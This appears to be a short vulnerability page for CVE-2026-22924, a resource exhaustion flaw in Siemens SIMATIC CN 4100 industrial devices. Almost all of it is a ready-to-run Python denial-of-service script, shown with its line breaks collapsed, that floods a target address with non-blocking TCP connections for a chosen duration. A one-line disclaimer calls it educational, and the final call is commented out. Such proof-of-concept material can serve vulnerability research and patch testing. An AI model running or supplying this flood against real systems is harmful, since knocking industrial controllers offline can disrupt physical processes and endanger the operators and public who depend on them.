CVE-2026-22924: SIMATIC CN 4100 资源耗尽漏洞

import socket import time # Proof of Concept for Resource Exhaustion (DoS) # Target: SIMATIC CN 4100 < V5.0 # Note: This code is for educational/testing purposes only. def dos_attack(target_ip, target_port, duration): """ Simulates a resource exhaustion attack by creating multiple connections. """ timeout = time.time() + duration sockets = [] print(f"[*] Starting attack on {target_ip}:{target_port} for {duration} seconds...") while time.time() < timeout: try: # Create a new socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.setblocking(0) # Non-blocking mode try: s.connect((target_ip, target_port)) except BlockingIOError: pass # Connection is in progress sockets.append(s) print(f"[*] Connections active: {len(sockets)}") except Exception as e: print(f"[!] Error creating socket: {e}") # Clean up some sockets if resource limit reached locally if len(sockets) > 1000: for s in sockets[:500]: s.close() sockets = sockets[500:] # Cleanup print("[*] Attack finished. Closing sockets...") for s in sockets: s.close() print("[*] Done.") if __name__ == "__main__": # Replace with actual target IP and Port for testing TARGET_IP = "192.168.1.100" TARGET_PORT = 80 DURATION_SECONDS = 60 # dos_attack(TARGET_IP, TARGET_PORT, DURATION_SECONDS)